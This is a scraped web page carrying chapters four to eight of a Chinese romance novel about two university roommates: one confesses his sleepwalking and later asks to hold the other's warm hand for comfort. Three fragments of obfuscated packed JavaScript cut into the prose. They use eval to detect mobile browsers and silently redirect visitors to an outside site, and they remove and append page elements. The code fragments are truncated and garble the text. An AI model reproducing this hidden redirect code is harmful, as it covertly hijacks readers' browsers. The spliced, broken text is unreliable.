l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050993|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈知浔。 “唉,我知道错了,我怎么知道那些东西会掉到床底下,等会儿我自费去网上买灭鼠装备,算是我的弥补。” 张康年勉强满意地点头 :“这还差不多。” 沈知浔回神,听见他们的话,困惑地转头看着他们 :“什么灭鼠装备?” 张康年跟他解释 :“我最近一段时间偶尔睡得晚了,就听见咱们宿舍有悉悉索索的声音,估计是有老鼠。这不,今天彻底打扫了一遍宿舍,结果就他的床下面扫出来的垃圾最多。” 向晓悻悻地 :“我已经知道错了。” 他抬眼歔了沈知浔一眼,沈知浔性格冷淡,长得漂亮,看着冷冷清清的,这样的高岭之花,很容易给人距离感。想到因为自己的原因,让对方刚搬进来不久就面临和老鼠待在一个宿舍的可怕境地。 他更愧疚了,忙不迭道 :“我不仅买灭鼠装备,以后每半个月就主动打扫一遍宿舍,保证再不会让一只老鼠跑进来,真的。” 向晓说的掷地有声,沈知浔见他眼巴巴地看着自己,下意识地点头,转瞬似乎想到了什么,神情有些怔愣。 向晓见沈知浔点头,松了口气,又转过头对张康年表决心。 等谢时泽洗完澡一出来,张康年立马将刚才向晓放的豪言壮语告诉他,不信地摇头 :“半个月打扫一次宿舍,他能坚持一次就不错了。” 谢时泽拿着干净毛巾擦着头发,身上还带着刚洗完澡后的热气,笑了 :“英雄所见略同。” 随即他又转头,满不在意地对向晓说 :“宿舍也不是你一个人的,就一起打扫呗。” “啊啊啊啊啊!”向晓激动得扑过来 :“谢哥,你是我亲哥!” 谢时泽翘起嘴角,推开他 :“一边去,没洗澡的人不配靠近洗了澡的我。” 他们在谈什么沈知浔通通听不见了,手指紧紧攥在一起,脸上的表情不停变换,沉浸在自己的思绪里。 他将最近发生的事都在脑子里过一遍,艰难地闭了闭眼,良久后,从胸腔里重重呼出口气。 沈知浔有梦游症,这件事只有阮兆兴和前两位舍友知道,梦游症这件事一直到上大学之前都没有对他造成太大的影响。 直到上了大学,这个不被他放在眼里的病到了他不得不重视的地步。 梦游顾名思义,他会不定时的在睡着后爬起来,看似是清醒的,实则神志不清。 他不知道梦游时自己会做什么,也没办法让自己不梦游。 沈知浔不知道宿舍里是不是真的有老鼠。 但他一定又梦游了。 让沈知浔困惑的事情,谢时泽明明叫过他,他却没有听见,还有无端对他升起的误解…就在此刻被一条名为梦游的线轻易串在一起。 梦游症这个病,在生活中很少见,所以也不是所有人都能接受住在一起的舍友半夜会梦游。 如果……他又半夜梦游被舍友发现,他们会接受吗? 手心传来的疼痛让沈知浔回神,剪得圆润整齐的指甲都在手掌心留下一个深深的印记。 沈知浔烦躁又无可奈何,学校规定大三才能搬出去,就算换宿舍,只要他的梦游症没有消失,再换也是无济于事。 ……与其在梦游时被发现,还不如自己坦白。 如果他们不能接受,那不管用什么办法,沈知浔都会搬出去。 5. 第五章 傍晚时分,浓墨一般的黑将整个学校笼罩,外面刮起了一阵簌簌的寒风。 沈知浔将脑袋埋进臂弯里,胡思乱想了一通,连宿舍什么时候安静下来都不知道。 身后向晓和张康年的说话声都渐渐消失了,两人对视一眼,张康年耸耸肩,对向晓投过去一个“自求多福”的眼神。 向晓张了张嘴,踌躇着不敢上前,沈知浔从得知宿舍有老鼠后就没再说过话了,往常这个时候他不是在画画,就是洗漱回床上,拉紧床帘,今天却一反常态的坐在桌旁,连脑袋都埋了下来。 难道沈知浔还是生气宿舍有老鼠。 碍于情面才没有说出来? 向晓看了看沈知浔的背影,实在不好意思走过去,只好将求救的眼神投向谢时泽。 谢时泽正在擦头发,接收到向晓求助的眼神,扬了扬眉,向晓眉眼极其生动的做出副可怜兮兮的样子。 谢时泽被辣到眼睛了一样嫌弃的啧了声,无奈摇头,又几不可见地点了下头,走进洗手间放毛巾。 向晓知道谢时泽答应了,两根手指在摊开的手掌上微微弯曲,做出个“跪谢”的样子,随便找了个借口拉着张康年去隔壁宿舍了。 他怂。 不敢面对这种场面。 谢时泽看着两人悄无声息地推开门走出去,笑了起来。 向晓和张康年有点怕沈知浔,两人都不是难相处的人,但和沈知浔还是只维持着普通舍友的关系,再加上宿舍有老鼠确实是生活作息都有点邋遢的向晓吸引来的可能性更大。 身板更挺不直了。 谢时泽摇摇头,收起上扬的嘴角,朝沈知浔的方向走了过去,手指轻轻在他的书桌上敲了敲,放轻声音 :“沈知浔,你身体不舒服吗?” 和向晓他们猜测的是因为宿舍卫生的事不同,谢时泽觉得沈知浔更有可能是因为还没有痊愈的感冒。 谢时泽的声音很轻,不同于大部分人低沉暗哑的声音,他的嗓音很舒缓、悦耳。 沈知浔回神,把脑袋从臂弯里抬起来,意识到自己的姿势让人误会了,坐直身体,慢慢摇头,视线环顾宿舍一圈,没看到向晓和张康年的身影。 犹豫地问 :“……他们出去了吗?” 谢时泽 :“去隔壁宿舍打游戏了。” 沈知浔不疑有他地点头,不自觉地摩挲着手指,纠结不已,宿舍现在只有谢时泽一个人,他要说吗…… 他心不在焉地思索着,视线随意地落到谢时泽身上。 谢时泽长得好看是毋庸置疑的,他的长相英气中带着一点俊秀,中和了硬朗的脸部轮廓,极其难把握的度,多一分少一分都会带给人另一种感觉,却在他身上呈现得刚刚好,是无论男女都能欣赏到的帅气。 他刚洗了澡,还在春季就换下了厚实的睡衣,只穿着一件有一个花纹的白T,和一条黑色的长裤,看起来异常单薄,却有源源不断的热气从他身上涌出来,裸露出来的皮肤都是经过热水冲洗后的淡粉色。 沈知浔目光在那点淡粉色的肌肤上停留一瞬就飞快移开,冰凉的手指攥在一起,视线又落到了他脸上。 沈知浔有个习惯,说话时会看着别人的眼睛。 对上谢时泽的眼睛,沈知浔想到自己忍不住打量谢时泽,在心里将他想象成一个巨型暖宝宝,能完美的把自己抱紧怀里取暖,立马慌乱地移开视线。 谢时泽见他的脸有点红 :“吃了药好点了吗?” 沈知浔强装镇定 :“嗯。” 宿舍里只有他们两个人,沈知浔兀自平复着心情。 跟一个人坦白的心理压力比同时对三个人坦白要小,而且谢时泽有可能直面过他梦游的场景,应该也会更容易接受吧? “谢时泽。”沈知浔浅浅呼出口气,带着迟早会被发现,不如自己坦白的破釜沉舟的勇气叫出他的名字。 “嗯?” 谢时泽表情随和,嘴角扬起一点弧度,略带疑惑地“嗯”了一声。 沈知浔看着他,脑海里一时间想起在上一个宿舍被发现有梦游症时的场景,手指握得很紧 :“你还记得昨天晚上,你带了烧烤回来叫我吗?” 他估计最近一次梦游就是那个时候,连带着为什么捂得严严实实,早早就上床却还是感冒了也好像有了答案。 谢时泽脸上带着茫然,显然是不知道他突然提起这个的意思,神色茫然但还是认真点了下头 :“记得,怎么了吗?” 沈知浔垂着眼眸,声音不像往常那么冷淡,一股脑地说 :“当时的我极有可能是在梦游,因为我没有那段记忆,也不知道当时发生了什么。” “包括张康年晚上听到的悉悉索索的声音,都有可能是我……我晚上会梦游。” 他垂着脑袋,一鼓作气地把这些话通通说了出来,说出来之后除了忐忑,心底也隐隐松了口气,静静地等着谢时泽的反应。 片刻的安静,在没有人说话的宿舍落针可闻。 短暂的寂静,只有几秒钟而已,都像是在凌迟着沈知浔的心脏,他忍不住抬头去看谢时泽的表情。 谢时泽脸上的表情一如既往,只是比平时随和的样子多出几分认真,听到沈知浔说他有梦游症就像听到“今天晚上真冷”一样。 沈知浔怔了怔,怀疑谢时泽没有听清楚,不得不重复道 :“我刚才说我有梦游症。” “嗯。” 谢时泽点了下头,表示他听见了,站在沈知浔的角度想了想,询问 :“那如果碰上你梦游,需要把你送回床上吗?” 沈知浔被问得懵了一下,他试想过他坦白后的多种可能,像前两个舍友一样无法接受,或者是没有亲眼见过他梦游不以为然,哪怕是最差的无法接受他也做好心理准备了。 唯独没想过,会被问需不需要在他梦游时把他送回床上。 他很快回神,摇了摇头,怀疑谢时泽不知道梦游 :“你是不是……不知道梦游的具体情况?谁也不能保证我梦游时会做什么,我也不会有梦游的记忆,那个时候的我是不清醒的。” 沈知浔说出这些话心情很复杂,被别人排斥的理由被他拿来当做给新舍友科普梦游的“危险”。但比起被轻易接受,再亲眼撞见他梦游时才知晓梦游到底是什么样的,他情愿一开始就说清楚。 “我知道。”谢时泽顿了顿,或许是觉得这样的话不够取信面前开始陷入自我怀疑的人,他嘴角微扬 :“我听过梦游症这个病,就算没听过,也能猜到梦游时是不会有神智的。” 他顿了顿,脸上露出几分思索,像是在斟酌要怎么说 :“但向晓晚上也会打呼噜,张康年偶尔会冒出一两句梦话,梦游也只是晚上会起来一趟。” 他态度坦然大方到让沈知浔不知道该说什么,好像这些都是可以混为一谈的小毛病。 “至于你说的不 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:“如果不凑巧被他们发现了,我会帮你劝他们,梦游不是什么大问题,相信他们了解过后会理解的。” 沈知浔轻轻地“嗯”了一声,事情超乎他想象的顺利,哪怕只顺利了三分之一,可有谢时泽的这句话,他心好像都定了定。 尽管不擅长交际,还是问了出口 :“谢时泽,你什么时候有空?” 谢时泽想了想 :“周三下午,怎么了?” “我想请你吃饭。” 加上谢时泽送他去医院的事,他已经帮他两次了,于情于理沈知浔都要请他吃顿饭。 谢时泽痛快点头,眼含笑意 :“好。” 又问他 :“没事了?” 沈知浔点头,无事一身轻才惊觉时间已经很晚了,他还没有洗漱,正要去柜子前拿衣服,谢时泽突然伸出手。 他肤色很白,灯光下,手掌是健康的肉粉色,弯起的眼睛很漂亮,冲淡了立体的脸部轮廓带来的攻击性,嘴角微扬 : “那欢迎你加入606宿舍。” 沈知浔顿了顿,慢慢伸出手回握住他的手。 … 沈知浔躺在床上,床帘从外面看透出些光,他今天难得没有画一副素描做练习,早早就爬上了床,照明的小台灯也搬到床上。 他低头望着自己的右手心,好像还能回忆起与热源紧贴的触感。 他在心里对谢时泽抱着不礼貌的幻想,对与他肢体接触有所顾虑,试探地伸出手,只打算虚虚握一下就松开。 但手刚放进谢时泽掌心,就被他紧紧握住,冰凉的手一整个和温热的手掌紧贴,不同于热水袋,谢时泽的手更柔软,暖意像是源源不断从体内散发出来。 掌心贴着掌心的时候他甚至感觉到一股电流从紧贴的地方极速窜过。 只是握手而已就有这样的反应…… 他难以想象,如果真的抱住谢时泽会怎么样。 人和人之间的肢体接触本来就能传递温暖,还是对于像沈知浔这样怕冷的人。他后知后觉地醒悟,他不应该和谢时泽发生肢体接触的。 肢体接触越多,就会越不满足于只靠热水袋和口袋取暖的日子。 到时候对温暖追逐的欲.望被膨胀大,却又找不到解决的办法。 而谢时泽,他会愿意被他当成人型暖宝宝么。 6. 第六章 - 最近气温降低,很多人早上都爬不起来,踩着快上课的时间点到,一进画室就看到沈知浔果不其然地已经在里面画着练习了。 原本还因为早起上课提不起劲的人立马来了精神。 燕大是一流大学,美术系也算是王牌专业,每年都会获得各种各样的奖项,从燕大毕业的艺术生毕业后更是不愁工作,无论是投简历的便捷,还是自己开一家画室都是很轻松的事情。 能考上燕大,画室里的同学都是从小学画,过五关斩六将,同龄人中的佼佼者。 但上了这样的顶尖大学后才知道什么叫人外有人、天外有天。勤学苦练抵不过别人随手一画也就算了,可怕的是有天赋的人比你还勤奋。 每次画室里的人在想着“要不今天偷会懒”,或者早上爬不起来的时候,一进画室看到沈知浔不分早晚专心画画的身影一下就被卷到了。 学霸都如此努力,他们这些“学渣”有什么理由不勤奋。 沈知浔画画的时候不会在意周围的环境,等他快画完的时候,才发现画室的同学都到齐了。 “沈知浔,你感冒好了吗?”坐在沈知浔旁边的女生关心地问了一句,目光又顺带着往他的画板上看了一眼。 瞬间被惊艳了。 “嗯。”沈知浔点了下头,挂了水后烧就退下来了,吃了点药就好得差不多了,只是偶尔还是会闷咳一声。 沈知浔已经习惯了,他体质弱容易生病,但每次都不是什么大病,只要按时吃药多喝点水最多一个星期就能痊愈。 “那就好,最近的气温越来越低了,感冒可就遭罪了。”女生说着,脸上露出些许迟疑,指着自己画板上某处迟迟没有上色的地方 :“你能帮我看看这里要怎么上色才比较好吗?” 沈知浔看了一眼她的画板,点了点头。 女生松了口气,把凳子往旁边挪了挪,让出点位置,沈知浔给她调了个颜色帮她改了两笔就把画板还给她了。 他只简单画了两笔,没有改变原来的意境,女生在旁边眼也不眨地看着,可就这简单的两笔就像画龙点睛一样出彩,整幅画的色彩一下就和谐了很多。 女生不禁感叹道 :“改得好好,不愧是咱们美术系的天才。” 沈知浔夸奖听多了,已经到了面不改色的地步,面对对方的道谢也只是微微颔首。 下午的最后一堂课是一位姓李的教授,他前半节课讲完知识要点,后半节留给学生做练习。 教授信奉课本上的知识讲得再多,也不如多练多画,画出来才知道哪里有问题。 所以他的课只要学生们能将内容融会贯通,或者画得满意就能提前下课,画得不满意也能。 毕竟画画吃天赋,画不出来就是画不出来。 在画室坐一天都没用,还不如放松找找灵感。 陆陆续续有人提前离开,剩下的人都在专心画画,早上被沈知浔改过画的女生余光瞥见沈知浔在收拾背包,她差点以为自己眼花了,抬头就看见沈知浔拿着画去找教授。 教授果然放了人离开,剩下还待在画室却注意到沈知浔离开的人一脸茫然。 怎么回事,大神今天不卷了? - 沈知浔先回了宿舍一趟,向晓和张康年都在宿舍,两人躺在宿舍床上边刷手机,边埋怨对方是菜逼。 向晓 :“跟你打一下午我段位都掉了,这得打多少局星星才能回来啊。” 张康年 :“呵,我就是在手机上撒把米,鸡都打得比你好。” 向晓刷着视频,无语 :“也不知道吹牛两个字怎么写,再跟你打下去,晚上我就是跪着叫谢哥爹,他都带不动我。” 张康年 :“自信点,你星星没掉之前他也带不动你,菜精。” 沈知浔进门把背包放下,听着他们互相指责对方,转而话题又转到晚上该怎么让谢时泽带他们把星星打回来。 沈知浔不打游戏,听他们话里话外的意思,似乎星星掉下去再升回来是件很不容易的事。 他不知想到了什么,站在原地沉思两秒,忽然好奇宝宝似地问 :“向晓,星星掉了很难打吗?” 躺在床上刷视频的向晓愣了愣,花了一秒才确定他没产生幻听。 他不知道沈知浔突然问这个干什么,平时在宿舍除了必要的交流,对方一直不怎么融入他们,难道是突然对游戏感兴趣了? 抱着和对方打好关系的想法,向晓狗腿道 :“挺难的,主要这游戏吧,是个团队游戏,要是遇上坑货,别说打回原来的段位了,一跪再跪都是家常便饭。” 沈知浔问 :“那谢时泽会帮你们吗?” 向晓迟疑地点头 :“会吧。” 张康年在一旁补充 :“只要我们诚心诚意的恳求,他迟早会被我们烦得受不了同意的。” 向晓很有些经验之谈 :“再攀扯点亲戚关系,他就更不好拒绝了。” 总而言之就是“谢时泽人好技术好心地善良只要他们放下自尊诚心诚意的求他”,他一定会同意的。 沈知浔闻言若有所思地点头。 - 谢时泽下课先回了一趟宿舍,打开门就看到刚拉近了关系的清冷舍友坐在宿舍的椅子上。 他慢悠悠地进门,下意识扬起嘴角 :“下课这么早吗?我还以为要等你一会儿。” 沈知浔轻轻地嗯了一声:“现在去吗?” “等我干什么?自己回来呗。” 向晓下意识地接话,接完才发现谢时泽不是在跟他说话,他从平躺在床上的姿势变成侧躺,看着正在说话的两个人,一副摸不着头脑的样子。 谢时泽笑笑 :“我都行,你晚上回来还要画画吗?” 沈知浔想了想,他还有一副主题画没画,点点头。 “那现在去吧,早去早回。” 向晓看着两人出去,小小的眼睛里有大大的困惑,他探头问对面床铺上的张康年,玄幻的语气 :“他们俩一起出去了?去哪儿?” 张康年 :“我怎么知道。” “这俩什么时候有小秘密了?平时不都是点头之交吗?” 张康年看电影看得正起劲,满脸无语 :“你管呢,可能有什么事吧。” - 天边乌云密布,灰暗压抑得像是夜幕随时会降临,天公不作美。 沈知浔穿了一件白色的羽绒服,脖颈上还戴了同色系的围巾,整个下巴都埋在围巾里,黑色的发丝被风吹拂起来,看着很柔软的样子。 谢时泽偏头问 :“去食堂还是去校外?” 沈知浔想了想 :“校外吧。” 平时基本上都是在食堂吃,请人吃饭还在食堂,有种不太重视的感觉。 谢时泽都可以,两人便沿着宿舍朝校外的林荫道走,天气冷大家下了课没事都不爱在外面逗留,偶尔遇到几个脚步匆匆的同学,不经意看到他们,都飞快打量他们两眼,紧接着露出难以掩饰的错愕的表情。 “校草旁边的是不是沈知浔?” “艺术系的高岭之花和校草怎么走在一起了?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050995|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >迎面走来的两个女生惊讶又困惑,等人走远了,还不忘拿出手机在宿舍群里分享这件事。 [猜猜我们在回来的路上遇到了谁?] [谁?] 女生抱着手机,激动地发消息 :[校草!他和艺术系的系草走在一起!!] 因为校草两个字被炸出来的潜水党看到这句话,激动了一瞬,转而又是同样的疑惑 :[艺术系的系草,沈知浔?这两个人怎么会走在一起?] [难道帅哥真的只跟帅哥玩?] [算了,男生的友谊我不懂,只要跟校草走在一起的不是系花就好了。[乐观]] [加1。] [N加1。] … 燕大的林荫道两旁种着常青树,绿油油的连成一片,生机盎然的景象却驱不散寒风带来的冷意。 沈知浔喉咙有点发痒,低低地咳嗽一声,牵动着胸口,抿了抿干燥的嘴唇,有些难受。 谢时泽听见他压抑的咳嗽声 :“感冒还没好吗?” “好了。”沈知浔说,只是要咳几天。 他说着不着痕迹地往身侧看了一眼,谢时泽穿着一件黑色外套,两只手不像他似的放在口袋里,蜷缩在一起,而是自然地垂落在身侧,随性又洒脱。 他脑海里不住的回忆昨晚握手时的触感,温热紧实的皮肤,源源不断的热意,在此刻手塞进口袋里仍然冰凉的情况下,谢时泽垂在身侧的双手对他的吸引力尤其大。 比之前更甚。 他原来见到谢时泽不怕冷的打球,跑动完额头还溢出了汗珠,只会觉得他身体真好。 但自从对方送他去医院碰到他的手指,接触到了他的体温,他脑子里时不时就会冒出很多不切实际的臆想。 在昨晚跟他握了手,真切接触过对方手掌的温暖后,沈知浔就隐隐意识到事情有超出预料的趋势。 谢时泽的手远比他想象的温暖,掌心干燥、手掌宽大,能完全将他的手包裹在内。 沈知浔不擅长与人交际,也几乎没有和谁有过太亲密的肢体接触。偶尔不小心和别人的手碰到,要么对方的手同样是冷的,要么会被他冰凉的手冻到。 即便是在盛夏,他的体温也比旁人凉一点。 谢时泽是唯一一个被他触碰,手既不冰凉,也没有被冻到飞快挪开的人。 让沈知浔很难不生出妄想,越在脑海里拉扯,昨晚握手时的热意就变得越加清晰,接触时窜过的那股微弱电流,仿佛顺着接触的地方一路窜到大脑,冲击着他岌岌可危的理智。 羽绒服的口袋没有太多暖意,冰冷的手指即便已经蜷缩成一团,依然起不了太多作用。 沈知浔不由自主停下脚步。 谢时泽注意到身旁的舍友停住了,不解地歪了下头,没等他出声,沈知浔突然侧过身面向他。 “谢时泽。” 沈知浔声音又低又闷,脑袋也低低的,难以直视他的眼睛,口袋里的手指默默攥紧了。 “嗯?”谢时泽的视线内只能看到新舍友的头顶,和他清冷不善言辞的性格不同,对方的头发看着倒是很柔软,不知道揉一下会是什么感觉? 他思绪有些跑偏,注意到沈知浔像是很畏寒一样几乎将下巴都藏进了围巾里,白色的羽绒服配上白色的围巾,和露出柔软发丝的样子,看上去异常柔软。 谢时泽还没回神,就冷不丁听到沈知浔的声音再次响起。 低低的,夹杂着艰涩、和恨不得原地消失的羞耻 : “我可以牵一下你的手吗?” 7. 第七章 林荫道两旁几乎没有行人,气温下降,大家都不爱在外面逗留,路上安静得寒风吹过树叶发出的簌簌声都听得见。 因此并不存在谢时泽听错了的可能。 他脸上露出一点茫然,眨了眨眼,面前依旧是低垂着脑袋露出柔软发旋的舍友,而不是别的什么人,或许是寒风凛冽,他被围巾拢住只露出小半边的耳朵都微微泛红。 沈知浔听不到回答,手指紧紧的攥紧,咬了咬唇,一时冲动过后,发热的大脑终于在这股尴尬的沉默下冷却了下来。 可说出的话又不能收回,沈知浔怀疑在谢时泽眼里他可能变成了一个变态,想牵舍友手的变态,深深地呼出口气,给自己做足了心理建设地说 :“没,没关系……” “不是。” 谢时泽像是才从高冷舍友竟然要牵他的手的震撼中回神,看着沈知浔脑袋越来越低,耳朵却越来越红,声音都放轻了 :“我只是有点反应不过来。” 在今天之前,如果有人说沈知浔想牵他的手,他可能会怀疑那人的大脑是用什么构造的。 但这种事竟然发生了—— 谢时泽自然垂在身侧的手指抬起,在沈知浔面前摊开,嘴角牵起点笑 :“可以的。” 沈知浔怔怔地看着在他面前摊开的手掌,谢时泽手掌心的纹路很清晰,是淡淡的粉色,有种气血很足的感觉,和沈知浔冷得僵硬的手不同,他的手一看就是暖融融的。 尽管话已经说出口了,他也没想到谢时泽竟然会真的同意。 沈知浔把手从口袋里拿出来,带着一点局促和一点对温暖的渴望,慢慢把手搭在谢时泽的手上。 肌肤接触到的一瞬间,热意就顺着接触的地方传递了过来,直到手心紧贴,沈知浔手指都轻轻颤栗了一下,人体和人体接触原来能这么温暖。 不用暖水袋这样的取暖工具,光是手心贴在一起,热意就源源不断的涌过来,冰凉的手指都侵染到热意了。 谢时泽在掌心上的手贴紧他时也扬了下眉,他的体温偏高,在这样的季节穿太厚都会觉得热和行动不便,运动一番就会流汗,沈知浔的手有点凉,对他来说却很舒服。 沈知浔的手指修长冰凉,白得近乎透明,皮肤很光滑,像白玉一样的冷质感,谢时泽甚至有种太用力会把他捏坏的错觉。 手心上传来的热意让沈知浔都能暂时忽略身上其他感到寒冷的地方,他的手指被谢时泽的手紧紧包裹着,话说出口终于不像之前那么艰难了 :“可以放进你的口袋吗?” 谢时泽怔了怔,从善如流的把牵着的手塞进他的口袋里,笑道 :“可以,怎么不可以。” 沈知浔几不可闻地松了口气,虽然同样是衣服口袋,但他一直有种谢时泽的口袋比他的暖和的感觉。 真的将手塞进他的口袋里,被他紧紧牵着,沈知浔感受到了一股从身到心的愉悦,这种感觉就像一直走在冰天雪地里的人接触到了一点火源。 他舒了一口气的同时,又想起自己的这个举动有多突兀,让人摸不着头脑,斟酌了一下语句 :“抱歉,我不是变态,我想牵你的手,是因为我体质有点差。” “所以你的手才这么冷?” 谢时泽没在乎什么变态,一下就找到问题的关键点。 他知道自己的体温偏高,但也知道沈知浔的体温对比起一般人来说应该是偏低的。 沈知浔慢慢点头,言语间有丝丝缕缕的无奈和对这样体质的厌弃 :“每次只要换季,或者气温下降,我都会生病,小时候更甚,这是从生下来就带出来的体弱。” “每年秋冬春季节都更容易感冒,体温也比一般人低,我很怕冷,也讨厌感冒。”沈知浔的声音闷闷的 :“没有人会喜欢生病的。” 比起一些天生不幸的人,沈知浔这点毛病都不能称之为病,往年每到降温的季节,他都会早早就做好准备,可仍然逃不掉感冒的命运。 就像这次只是梦游了一下,身体就受不了一点寒气的感冒了,即便每年如此沈知浔也不能习惯,只会觉得那少有的温暖更加弥足珍贵。 谢时泽边听沈知浔说,边了然于心,握紧了他的手,笑道 :“你想牵我的手,是因为我看起来很暖和?” 沈知浔惊讶他的敏锐,手指颤了颤,轻轻地嗯了一声。 谢时泽觉得有点神奇,他的体温偏高,在冬天也是如此,对于他来说几乎不会给他造成影响,还会有人羡慕这种体质。 他本来已经习惯了,却怎么也没想到这种偏高的体温竟然还能给怕冷的朋友帮上忙。 谢时泽笑着摇了摇头,他对此并没有什么想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050996|162823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法,只是看沈知浔连男生间简单的取暖都能这么难为情,想到对方并不擅长与人交往,不禁道 :“那以后就这样互帮互助?” “互帮互助?” 沈知浔微微睁大眼睛,不明白这哪里是互帮互助。 他的眼睛很漂亮,是偏圆的杏眼,这样的眼睛细看其实会显出一点乖,但沈知浔身上的气场太过清冷,让人难以接近,也从来没人发现他的眼睛其实很圆很亮。 “嗯。”谢时泽望着这双眼睛,总觉得他身上清冷拒人千里之外的气场都因为瞪圆的眼睛消失了,不由得轻轻笑了起来 :“你怕冷找我取暖,我感觉热了能不能也请你帮我降温?” 其实他的体温并没有给他造成太大困扰,这么说只是想让面前刚才恨不得原地挖个坑消失的人心安理得一点。 沈知浔眨眨眼,怎么想都觉得这件事对他更有利,想到谢时泽运动过后额头溢出的汗珠……他也是困扰的吗? “好,如果你感觉热了就告诉我。” 沈知浔认真点头,望着谢时泽,一字一句都说的很缓慢,给人一种一定会信守承诺的感觉。 “那就这样说定了。”谢时泽说着口袋里的手捏了一下沈知浔的手指,语气轻松 :“走吧,吃饭去。” 校外也没什么人,天气冷再加上不是周末,很少有人出校门。 沈知浔问过谢时泽口味,找了一家以以汤为主的餐馆,吃完后出来,天色更暗了,灰扑扑的像是即将下雨,越到下午,外面的风刮得越大了。 站在餐馆门口,沈知浔慢慢系紧了围巾,拢紧身上的衣服。 谢时泽看他做完这一系列保暖动作,把手递过来,温声问 :“要牵吗?” 沈知浔已经习惯性地把手缩到了口袋里,想要用这种方式汲取到少得可怜的温暖,看着递到面前宽大干燥的手心,果断伸出一只手放进谢时泽的手心里。 肌肤紧紧贴住的感觉,像被密不透风的笼罩,除了被传递过来的温暖,心脏也升起了一股奇异的满足。 谢时泽刚要迈步走回去,突然说“等下”,松开握着沈知浔的手,换成了十指紧扣的方式,塞进了衣服口袋里,说 :“这样比较方便。” 沈知浔只觉得从被攥住手指的方式变成了十指紧扣,接触到的地方也更多了。 8. 第八章 温热的手掌心和十指紧扣的手让沈知浔微微晃了一下神。 在提出这个请求之前,尽管知道谢时泽平时就比较乐于助人,但他也没想到会这么顺利。 一直到现在沈知浔都有种不真实的感觉,然而在踏上回去的路上,被凛冽的风一吹,半边身子都变得僵硬,浑身上下似乎只有被牵着的手传递过来源源不断的温暖,才让他有了点真实感。 谢时泽 :“这边的天气就是这样,得冷一阵子才会慢慢进入春天。” 沈知浔大半张脸都快埋进围巾里了,闷闷地嗯了一声。 谢时泽回头一看就看到清冷舍友畏寒得低垂着脑袋,只能看到被风吹得有点乱的柔软发丝,和只剩下一双在外面看路的漂亮眼睛,没忍住笑了一下。 沈知浔疑惑地看过来,他收敛笑意,走到侧前方一点帮他挡住了一部分风 :“这种天气出来,你回去会感冒吗?” 沈知浔摇了摇头,捂着围巾说话有些含糊 :“不知道,有这个可能。” “那体质是挺差的。”谢时泽若有所思地说 :“张康年那里有预防感冒的药,挺管用的,回去找他要一包。” 沈知浔 :“我有备着预防感冒的药。” 作为经常感冒的人,沈知浔不知道备了多少种治各种各样问题的药,他的咳嗽也在吃枇杷露,只是还没好彻底。 谢时泽闻言就不再说什么了,提醒他 :“回去记得吃。” 沈知浔轻轻地嗯了一声。 校外回宿舍的路并不远,沈知浔原本还担心两人这样会被人看到,发现这一路上都没什么人才松了口气。 到了宿舍楼,寒风被隔绝在外,沈知浔自然地把手从谢时泽的口袋里抽出来。 到了六楼,还没走近就听见宿舍里传出来的声音。 “又要掉了,我起早贪黑升上来的段位。”张康年生无可恋的声音。 “一群菜鸡真的带不动啊,谢哥怎么还不回来。” 向晓坐在床边盼星星盼月亮盼谢时泽,白天他还死活不跟张康年打游戏,晚上等不到谢时泽,又按耐不住手痒,又悻悻地找他一起开黑。 谢时泽一听就知道是怎么回事,推门进去,乐了 :“又在打?这次谁是对面的mvp?” 向晓看到谢时泽,激动地扑过来 :“谢哥你终于回来了!快十连跪了,我不要跟这个坑货一起玩了。” 张康年不服 :“到底是谁坑,最多半斤八两,我半斤你八两,要带也是带我,你已经凉了,埋了吧。” “我觉得我还能拯救一下,谢哥,菜菜,求带带。” 谢时泽一进门差点被向晓扑倒,往旁边躲了躲逃脱魔爪,摇了摇头 :“你谢哥还没洗澡,累累,你走开。” “谢哥,你别见死不救啊,求你了。”向晓和张康年眼看就要开启哀嚎二重奏。 谢时泽受不了魔音贯耳,绕开他们往自己的衣柜走 :“等你们这局结束吧。” “好嘞!”向晓和张康年立马起死回生,重新投入到战局中,准备速战速决。 谢时泽走到衣柜前拿衣服,进卫生间前看了一眼拉开抽屉拿出两袋感冒药的沈知浔。 正好沈知浔也拿着保温杯朝他走过来 :“谢时泽,你要一袋吗?” 谢时泽想了想 :“要吧,万一感冒就麻烦了,谢了。” 沈知浔摇头,朝他伸出手 :“保温杯。” 谢时泽愣了半秒,才放下衣服把保温杯拿过来递给沈知浔。 沈知浔拿着保温杯出去接水了,谢时泽回过神来笑了笑,拿起干净衣服正要进卫生间,就察觉到一道不容忽视的视线落在他身上。 向晓一脸看到了什么不可思议的事情一样的震惊的看着他 :“沈知浔刚刚是不是帮你接水了?” 谢时泽点头 :“嗯。” 向晓一脸百思不得其解 :“他为什么要帮你接水呢?” 谢时泽想了想 :“可能是因为我要洗澡。” 向晓 :“那他怎么不帮我们接水?” “你没手吗?要别人帮你接水。”谢时泽有点无语,拿着衣服进卫生间,不搭理他了。 向晓看看卫生间紧闭的门,想不通为什么,觉得哪里怪怪的,低头一看死亡倒计时到了,赶紧回到热火朝天的游戏中。 